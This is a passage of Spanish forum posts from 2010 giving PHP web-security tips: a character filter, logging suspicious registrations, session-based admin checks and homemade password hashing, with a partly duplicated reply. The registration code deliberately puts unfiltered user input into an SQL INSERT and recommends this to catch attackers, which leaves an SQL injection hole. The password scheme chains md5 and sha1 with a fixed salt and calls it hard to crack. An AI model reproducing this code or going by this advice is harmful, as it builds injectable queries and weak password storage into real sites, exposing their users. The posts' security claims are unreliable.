$car = array("\\","ª","º","-","~","#","@","|","!","\"","·","$","%","&","/","(",")","?","'","¡","¿","[","^","`","]","+","Ç","}","{","¨","´","ñ","Ñ",">","<",";",",",":","."," ","á","é","í","ó","ú","Á","É","Í","Ó","Ú","à","â","ã","À","Â","Ã","è","ê","ì","î","Ì","Î","ò","ô","õ","Ò","Ô","Õ","ù","û","Ù","Û");
$texto = str_replace($car, "", $texto);
return $texto;
}
echo limpiar_texto($_GET['casilla_de_texto']);
/*
xTÉèêemP daria:
xTemP
*/
?>
Entonces, simplemente hacer un include a las funciones y agregar la que les facilité arriba y así limpiamos los carácteres raros, inclusive pueden quitar ó agregar carácteres en el array dependiendo lo que necesiten.
------------------------------------------------
Saber quien nos está queriendo fastidiar la web.
Muchas veces al filtrar las variables no se guarda en la base de datos los carácteres raros que pueden ser vulnerables hacia nuestra web, pero ¿Entonces como localizaríamos a aquellos que nos quieren joder? Fácil.
Suponiendo que es un registro:
<?php
include ("connect.php"); //Incluimos la conexion a la DB
$user = $_POST['user'];
$pass = $_POST['pass'];
$mail = $_POST['mail'];
$ip = $_SERVER[REMOTE_ADDR];
mysql_query("INSERT INTO users (user,pass,mail,ip) values ('".$user."','".$pass."','".$mail."','".$ip."') ") or die (mysql_error());
echo "Hola ".htmlentities($user).", te has registrado correctamente.";
?>
Introducimos los datos a la base de datos sin filtrar las variables y mostramos en pantalla filtrandolas, te preguntarás ¿Por qué? Así suponiendo que el usuario escribe algo como "<h1>Xt3mP</h1>", así igualmente aparecería en la base de datos junto con la IP, de esta manera sabremos quien nos esta queriendo joder las "balls", obviamente al mostrarlo en pantalla le metemos un htmlentities(), bueno, a mi me sirve, he pillado a muchos que han querido joderme.
------------------------------------------------
Usuarios autorizados.
A veces (He visto), que una parte de las páginas web online te piden autorización para ciertas páginas, digamosle panel_adm.php ¡PERO!, si entramos (ejemplo) a panel_adm_addusers.php da la casualidad que hay no te pide autorización del sitio y queda totalmente a la merced del usuario atacante.
Les recomiendo hacer una función ó comprobar (como lo haré en este caso) que siempre que sea una página crítica solo personal autorizado pueda acceder a ella:
<?php
session_start(); //Inicia la session, si existe la retoma, si no existe la crea.
if ($_SESSION['admin'] != TRUE){ //Comprobamos que la sesion ADMIN sea verdadera, recuerden que != significa diferente a.
echo "No autorizado";
}else{
//Toda la web aqui
}
?>
------------------------------------------------
Encriptación de contraseñas.
A veces la encriptación de contraseñas con "hashes" se nos hace un poco díficil ya que es one-way, es decir, solo encriptan más no tiene función para desencriptar a menos que sea con "brutus force" mediante encriptando la contraseña en el mismo tipo de encriptación y comparar si la contraseña encriptada es igual a la que encriptamos, es decir:
Si la contraseña encriptada del usuario es: 21fa33e4fb9fa3f1da10f7c17823e7e8
El atacante al obtener esa contraseña y darse cuenta por obvias razones que es md5, utilizará alguna herramienta tanto online como offline que funcionan de la siguiente manera:
Encriptar: Text1 = 1c06e3d86536d0eb8903da08af433909
Encriptar: Text1 = eb396671a7de43af3a9b5afaceb1514b
Encriptar: Xt3mP = 21fa33e4fb9fa3f1da10f7c17823e7e8 (Bingo) Nos vota exáctamente el mismo hash por lo tanto esa sería la contraseña.
En terminos básicos, para desencriptar un hash one-way se hace a la reversa literalmente, encriptas el texto lo cual hará que nos genere un hash y ya obteniendo ese hash lo comparas con el hash de la contraseña.
Así que almenos yo encripto la contraseña de manera muy, mmm como decirlo, que sea díficil de descifrarla:
<?php
$pass = "Xt3mP";
$pass = base64_encode(md5(md5(sha1(crypt(md5($pass),"s523/*a5s4s"))).$pass));
echo $pass;
/*
Daria:
Y2YzOWUxYzNkZWZiZGExYmU3OTUyNDk2MmE0YjhiNTA=
*/
?>
Ya al momento de querer cambiar la contraseña hay sería lo díficil, porque tendrías que crear un sistema de reseteo de contraseña mediante la introducción de la fecha de nacimiento, pregunta privada, etc.
Nota: Y sí, puse base64 para que cuando el atacante la vea sepa que le estoy jugando una pequeña bromita =).
------------------------------------------------
Ultimo tip y el más importante.
Es un frase:
"No por tener menos código significa que sea mejor."
Creo que le entienden, se refiere a que no por tener reducido todo en un solo PHP (y gracias a esto cometer un error de programación) significa que el script vaya a ser mejor ó más rápido, usen la cantidad de archivos que realmente necesiten.
------------------------------------------------
Saludos.
#240
Bugs y Exploits / Re:Seguridad y Protección a nivel web.
Agosto 16, 2010, 12:54:05 AM
Lo sé, pero en este caso di de ejemplo descargas de ficheros que estarían en el mismo directorio, por eso situé antes el "./" para forzar literalmente que el archivo se encuentre en el mismo directorio, obviamente el usuario si tiene digamos otro path cambiaría el "./" por "./path/" ó conforme lo necesite, pero igual gracias así el usuario que se confundió sabe que puede cambiar esa parte del código.
Sobre el mostrar error, claro esta que modificando el php.ini, de hecho lo dije en esta línea del texto:
Y sobre moderador PHP, pertenezto al Team de Ash-Team y tengo permisos de administrador, ayudo en lo que puedo, saludos brother, se ve que eres buena persona.
ByeOFF.
Sobre el mostrar error, claro esta que modificando el php.ini, de hecho lo dije en esta línea del texto:
Citar1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, ó bien agregando error_reporting(0);
Y sobre moderador PHP, pertenezto al Team de Ash-Team y tengo permisos de administrador, ayudo en lo que puedo, saludos brother, se ve que eres buena persona.
ByeOFF.


